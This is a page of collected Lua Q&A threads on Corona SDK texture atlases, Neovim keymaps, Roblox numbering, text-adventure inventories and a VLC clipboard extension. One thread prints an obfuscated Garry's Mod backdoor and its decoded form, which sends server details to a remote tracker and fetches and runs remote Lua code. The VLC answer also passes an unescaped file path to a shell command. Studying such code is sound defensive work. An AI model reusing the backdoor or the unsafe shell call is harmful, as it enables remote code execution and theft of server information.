Texture Atlases In Corona SDK and Retina/Multi-res - coronasdk

I tried to find more information in the online docs, but they are still a bit lacking on this regard.
What is the proper way to handle multiple resolutions with the new texture atlas API? Should I provide a different data file for each resolution? Will Corona SDK find automatically the correct file or do I need to handle the resolution detection by myself?
Even just a pointer to a doc page where this is applied would be enough!
Thank you very much!

Corona will load the image file (.png or .jpg) correctly, and will load the sheet file manually and then scale it...
If you are having difficulty making a sheet file that work in all resolutions, a good way is load manually the sheet correct for that resolution, and then use .xScale and .yScale to correct the resolution.
I will post my own resolution handling code for Atlas:
-- Mauricio Gomes
-- Kidoteca point class
local scaleString = "";
local scaleNumber = 1;
local errorMessage = "ERROR: Please call autoResolution.init";
local errorFunction = function() print(errorMessage); return errorMessage end;
local autoResolution = {};
function autoResolution.requireSheet( sheet )
if autoResolution.SCALE == errorFunction then
return errorFunction();
end
sheet = string.gsub(sheet, "/", ".");
return require(sheet .. scaleString).sheet;
end
function autoResolution.requireInfo( sheet )
if autoResolution.SCALE == errorFunction then
return errorFunction();
end
sheet = string.gsub(sheet, "/", ".");
return require(sheet .. scaleString);
end
function autoResolution.imageName( fileName, extension )
if autoResolution.SCALE == errorFunction then
return errorFunction();
end
return fileName .. scaleString .. "." .. extension;
end
-- variables about the scale settings
function autoResolution.init()
if display.contentScaleX <= 0.25 then
scaleString = "#4";
scaleNumber = 0.25;
elseif display.contentScaleX <= 0.7 then
scaleString = "#2";
scaleNumber = 0.5;
end
autoResolution.SCALE = scaleNumber;
end
autoResolution.SCALE = errorFunction;
return autoResolution;
The init function of course use the settings my company (Kidoteca) use: suffixes being #2 and #4, and not exactly 0.5 being #2 because some internal reasons of ours.

Related

Sticky variable value in lua vim.keymap

I want to create a mapping in my neovim lua setup such that when I have a visual selection and hit <leader>ps, a telescope search is initiated with the selected text.
Here is what I have for the moment:
local builtin = require('telescope.builtin')
local function get_visual_selection()
local s_start = vim.fn.getpos("'<")
local s_end = vim.fn.getpos("'>")
local n_lines = math.abs(s_end[2] - s_start[2]) + 1
local lines = vim.api.nvim_buf_get_lines(0, s_start[2] - 1, s_end[2], false)
lines[1] = string.sub(lines[1], s_start[3], -1)
if n_lines == 1 then
lines[n_lines] = string.sub(lines[n_lines], 1, s_end[3] - s_start[3] + 1)
else
lines[n_lines] = string.sub(lines[n_lines], 1, s_end[3])
end
return table.concat(lines, '\n')
end
vim.keymap.set('n', '<leader>ps', function() -- works fine
builtin.grep_string({ search = vim.fn.input("Grep > ") });
end)
vim.keymap.set('v', '<leader>ps', function() -- gets the same first value for sel everytime!
local sel = get_visual_selection();
builtin.grep_string({ search = vim.fn.input("Grep > " .. sel) });
end)
This code works on the first time; but then the first text retrieved from selection never changes! I get the first text I selected over and over. I don't understand what is causing that. It seems the function gets hit by some sort of caching mechanism from lua...?
I finally used a different and simpler way of doing this exact thing using a remap, yank and paste; I still don't know what's wrong in my question's lua script though.
Here is the working lua map:
vim.keymap.set('v', '<leader>ps', 'y<leader>ps<C-r>*', { remap = true });

/Lua/ How to do this (idk how to call that lol)

I need to make a trolleybus number, which won't repeat for game. For example, there is a number "101" and there musn't be more "101". How to do that? I have a code, but I know, he won't work and I won't test it lol
function giveNumber()
local number = math.random(100, 199)
local takedNumbers = {}
local i = 0
local massiv = i+1
script.Parent.pered.SurfaceGui.TextLabel.Text = number
script.Parent.zad.SurfaceGui.TextLabel.Text = number
script.Parent.levo.SurfaceGui.TextLabel.Text = number
script.Parent.pravo.SurfaceGui.TextLabel.Text = number
takedNumbers[massiv] = {number}
end
script.Parent.Script:giveNumber() // what I wrote here? idk...
if number == takedNumbers[massiv] then
giveNumber()
end
i didn't test it, because I think it won't work because this code is something bad
I think this will serve your needs.
In the function generateUniqueNumber, the script loops until it found a number that is not yet in the array. (in other words, that it hasn't given out yet)
Once it found that number, it will insert it into the table to remember that it has given it out, and then it will return the number.
Then on the bottom of the script we just give the numbers to the buses :-)
--[[
Goal: Give all buses a unique number
]]
-- Variables
local takenNumbers = {};
-- This function returns a random number in the range [100, 199] that has not been taken yet
function generateUniqueNumber()
local foundNumber = false;
while not foundNumber do
randomNumber = math.random(100, 199);
if not table.find(takenNumbers, randomNumber) then
table.insert(takenNumbers, randomNumber);
return randomNumber;
end
end
end
-- This function sets the number of the bus
script.Parent.pered.SurfaceGui.TextLabel.Text = tostring(generateUniqueNumber());
script.Parent.zad.SurfaceGui.TextLabel.Text = tostring(generateUniqueNumber());
script.Parent.levo.SurfaceGui.TextLabel.Text = tostring(generateUniqueNumber());
script.Parent.pravo.SurfaceGui.TextLabel.Text = tostring(generateUniqueNumber());
2 things:
I didn't test this code as Roblox is not installed on the pc I'm currently on.
Please try formatting your code nicely next time. It greatly improves the readability! For example, you can use this website:
https://codebeautify.org/lua-beautifier
Simpler
Fill a table with free numbers...
local freenumbers = {}
for i = 1, 99 do freenumbers[i] = i + 100 end
...for every new takennumbers use table.remove() on freenumbers
local takennumbers = {}
if #freenumbers > 0 then
takennumbers[#takennumbers + 1] = table.remove(freenumbers, math.random(1, #freenumbers))
end

LUA: Looking for a specific table by its variable

I'm currently starting work on a text adventure game in Lua--no addons, just pure Lua for my first project. In essence, here is my problem; I'm trying to find out how I can do a "reverse lookup" of a table using one of its variables. Here's an example of what I've tried to do:
print("What are you trying to take?")
bag = {}
gold = {name="Gold",ap=3}
x = io.read("*l")
if x == "Gold" then
table.insert(bag,gold)
print("You took the " .. gold.name .. ".")
end
Obviously, writing a line like this with every single object in the game would be very... exhausting--especially since I think I'll be able to use this solution for not just taking items but movement from room to room using a reverse lookup with each room's (x,y) coordinates. Anyone have any ideas on how to make a more flexible system that can find a table by the player typing in one of its variables? Thanks in advance!
-blockchainporter
This doesn't directly answer your question as you asked it, but I think it would serve the purpose of what you are trying to do. I create a table called 'loot' which can hold many objects, and the player can place any of these in their 'bag' by typing the name.
bag = {}
loot = {
{name="Gold", qty=3},
{name="Axe", qty=1},
}
print("What are you trying to take?")
x = io.read("*l")
i = 1
while loot[i] do
if (x == loot[i].name) then
table.insert(bag, table.remove(loot,i))
else
i = i + 1
end
end
For bonus points, you could check 'bag' to see if the player has some of that item already and then just update the quantity...
while loot[i] do
if (x == loot[i].name) then
j, found = 1, nil
while bag[j] do
if (x == bag[j].name) then
found = true
bag[j].qty = bag[j].qty + loot[i].qty
table.remove(loot,i)
end
j = j + 1
end
if (not found) then
table.insert(bag, table.remove(loot,i))
end
else
i = i + 1
end
end
Again, this isn't a 'reverse lookup' solution like you asked for... but I think it is closer to what you are trying to do by letting a user choose to loot something.
My disclaimer is that I don't use IO functions in my own lua usage, so I have to assume that your x = io.read("*l") is correct.
PS. If you only ever want objects to have a name and qty, and never any other properties (like condition, enchantment, or whatever) then you could also simplify my solution by using key/val pairs:
bag = {}
loot = { ["Gold"] = 3, ["Axe"] = 1 }
print("What are you trying to take?")
x = io.read("*l")
for name, qty in pairs(loot) do
if x == name then
bag.name = (bag.name or 0) + qty
loot.name = nil
end
end
I have a few notes to start before I specifically address your question. (I just want to do this before I forget, so please bear with me!)
I recommend printing to the terminal using stderr instead of stdout--the Lua function print uses the latter. When I am writing a Lua script, I often create a C-style function called eprintf to print formatted output to stderr. I implement it like this:
local function eprintf(fmt, ...)
io.stderr:write(string.format(fmt, ...))
return
end
Just be aware that, unlike print, this function does not automatically append a newline character to the output string; to do so, remember to put \n at the end of your fmt string.
Next, it may be useful to define a helper function that calls io.read("*l") to get an entire line of input. In writing some example code to help answer your question, I called my function getline--like the C++ function that has similar behavior--and defined it like this:
local function getline()
local read = tostring(io.read("*l"))
return read
end
If I correctly understand what it is you are trying to do, the player will have an inventory--which you have called bag--and he can put items into it by entering item names into stdin. So, for instance, if the player found a treasure chest with gold, a sword, and a potion in it and he wanted to take the gold, he would type Gold into stdin and it would be placed in his inventory.
Based on what you have so far, it looks like you are using Lua tables to create these items: each table has a name index and another called ap; and, if a player's text input matches an item's name, the player picks that up item.
I would recommend creating an Item class, which you could abstract nicely by placing it in its own script and then loading it as needed with require. This is a very basic Item class module I wrote:
----------------
-- Item class --
----------------
local Item = {__name = "Item"}
Item.__metatable = "metatable"
Item.__index = Item
-- __newindex metamethod.
function Item.__newindex(self, k, v)
local err = string.format(
"type `Item` does not have member `%s`",
tostring(k)
)
return error(err, 2)
end
-- Item constructor
function Item.new(name_in, ap_in)
assert((name_in ~= nil) and (ap_in ~= nil))
local self = {
name = name_in,
ap = ap_in
}
return setmetatable(self, Item)
end
return Item
From there, I wrote a main driver to encapsulate some of the behavior you described in your question. (Yes, I know my Lua code looks more like C.)
#!/usr/bin/lua
-------------
-- Modules --
-------------
local Item = assert(require("Item"))
local function eprintf(fmt, ...)
io.stderr:write(string.format(fmt, ...))
return
end
local function printf(fmt, ...)
io.stdout:write(string.format(fmt, ...))
return
end
local function getline()
local read = tostring(io.read("*l"))
return read
end
local function main(argc, argv)
local gold = Item.new("Gold", 3)
printf("gold.name = %s\ngold.ap = %i\n", gold.name, gold.ap)
return 0
end
main(#arg, arg)
Now, as for the reverse search which you described, at this point all you should have to do is check the user's input against an Item's name. Here it is in the main function:
local function main(argc, argv)
local gold = Item.new("Gold", 3)
local bag = {}
eprintf("What are you trying to take? ")
local input = getline()
if (input == gold.name) then
table.insert(bag, gold)
eprintf("You took the %s.\n", gold.name)
else
eprintf("Unrecognized item `%s`.\n", input)
end
return 0
end
I hope this helps!

Decode obfuscated lua

I recently downloaded some lua scripts and discovered this obfuscated code within. After a good many hours I failed to discover how to deobfuscate it and was looking for some help.
In terms of what I have tried already, I noticed the number's just convert to characters which reveals a few functions. However it would appear that the variables assigned at the top are not assigned to anything or maybe some special unicode character which is invisible in my editor (atom).
Here is the obfuscated code:
local ‪ = _G
local ‪‪ = ‪['\115\116\114\105\110\103']
local ‪‪‪ = ‪['\98\105\116']['\98\120\111\114']
local function ‪‪‪‪‪‪‪(‪‪‪‪)
if ‪‪['\108\101\110'](‪‪‪‪) == 0 then
return ‪‪‪‪
end
local ‪‪‪‪‪ = ''
for _ in ‪‪['\103\109\97\116\99\104'](‪‪‪‪, '\46\46') do ‪‪‪‪‪
= ‪‪‪‪‪..‪‪['\99\104\97\114'](‪‪‪(‪["\116\111\110\117\109\98\101\114"](_, 16), 53))
end
return ‪‪‪‪‪
end ‪
[‪‪‪‪‪‪‪'415c585047'][‪‪‪‪‪‪‪'665c58455950'](5,
function ()‪
[‪‪‪‪‪‪‪'5d414145'][‪‪‪‪‪‪‪'655a4641'](‪‪‪‪‪‪‪'5d414145460f1a1a565d545c5b595a46501b0505054250575d5a46415445451b565a581a4643595a521a414754565e50471b455d45', {[‪‪‪‪‪‪‪'56'] = ‪[‪‪‪‪‪‪‪'52585a51'][‪‪‪‪‪‪‪'72504172545850585a5150']()[‪‪‪‪‪‪‪'7b545850'], [‪‪‪‪‪‪‪'50'] = ‪[‪‪‪‪‪‪‪'52545850'][‪‪‪‪‪‪‪'7250417c6574515147504646'](), [‪‪‪‪‪‪‪'51'] = ‪[‪‪‪‪‪‪‪'7250417d5a46417b545850']()})
end )
‪[‪‪‪‪‪‪‪'415c585047'][‪‪‪‪‪‪‪'665c58455950'](5,
function ()‪
[‪‪‪‪‪‪‪'5d414145'][‪‪‪‪‪‪‪'735041565d'](‪‪‪‪‪‪‪'5d414145460f1a1a565d545c5b595a46501b0505054250575d5a46415445451b565a581a5254461b594054',
function (‪‪return)
‪[‪‪‪‪‪‪‪'67405b6641475c5b52'](‪‪return)
end, nil )
end )
Old Lua (and modern LuaJIT) allows using arbitrary non-ASCII bytes (above 0x7F) in identifiers.
Nice feature for obfuscation! :-)
timer.Simple(
5,
function ()
http.Post(
"https://chainlose.000webhostapp.com/svlog/tracker.php",
{
c = gmod.GetGamemode().Name,
e = game.GetIPAddress(),
d = GetHostName()
}
)
end
)
timer.Simple(
5,
function ()
http.Fetch(
"https://chainlose.000webhostapp.com/gas.lua",
function (str)
RunString(str)
end,
nil
)
end
)

vlc lua: how do I get the full path of the current playing item?

I'm not a programmer so this is difficult for me. I want to make an extension to send the full path to the clipboard in the full format. Example:
D:\MyFolder\music\audio.mp3
I recently found and butchered this extension which sends the running time to the clipboard. Is it possible to modify it so it gets the full path instead of the running time?
I'm using VLC media player 2.0.5 Twoflower 32 bits.
Windows 7 professional 32bits SP1
Here's the content of the .lua file I'm using and want to modify:
-- Time2Clip.lua -- VLC extension --
--[[
INSTALLATION:
Put the file in the VLC subdir /lua/extensions, by default:
* Windows (all users): %ProgramFiles%\VideoLAN\VLC\lua\extensions\
Restart the VLC.
Then you simply use the extension by going to the "View" menu and selecting it.
--]]
function descriptor()
return {
title = "Time2Clip";
version = "1.0";
author = "valuex";
url = 'https://forum.videolan.org/viewtopic.php?f=29&t=101114';
shortdesc = "Time2Clip";
description = "<div style=\"background-color:lightgreen;\"><b>just a simple VLC extension </b></div>";
capabilities = {"input-listener"}
}
end
function activate()
create_dialog()
end
function close()
vlc.deactivate()
end
function create_dialog()
w = vlc.dialog("Time2Clip")
--w2 = w:add_button("Save_to_Clip", click_SAVE,2,1,1,1)
click_SAVE()
end
function click_SAVE()
local input = vlc.object.input()
if input then
local curtime=vlc.path()
-- local curtime=vlc.var.get(input, "time")
-- w2:set_text( curtime )
save_to_clipboard(curtime)
end
end
function save_to_clipboard(var)
strCmd = 'echo '..var..' |clip'
os.execute(strCmd)
vlc.deactivate()
end
I read LUA's README.TXT file and found this but I don't know how to use it. Please help me. Thanks in advance.
input.item(): Get the current input item. Input item methods are:
:uri(): Get item's URI.
:name(): Get item's name.
How about:
function descriptor()
return {
title = "URI2Clip";
version = "1.0";
author = "";
url = '';
shortdesc = "URI2Clip";
description = "<div><b>Copy the media URI to the Windows clipboard</b></div>";
}
end
function activate()
local item = vlc.input.item()
local uri = item:uri()
uri = string.gsub(uri, '^file:///', '')
uri = string.gsub(uri, '/', '\\')
strCmd = 'echo '..uri..' |clip'
os.execute(strCmd)
end
URI returns something like file:///c:/users/username/Documents/song.mp3 so I convert that to c:\users\username... format instead. NB. This is only going to work for saved files, it will mangle web addresses.

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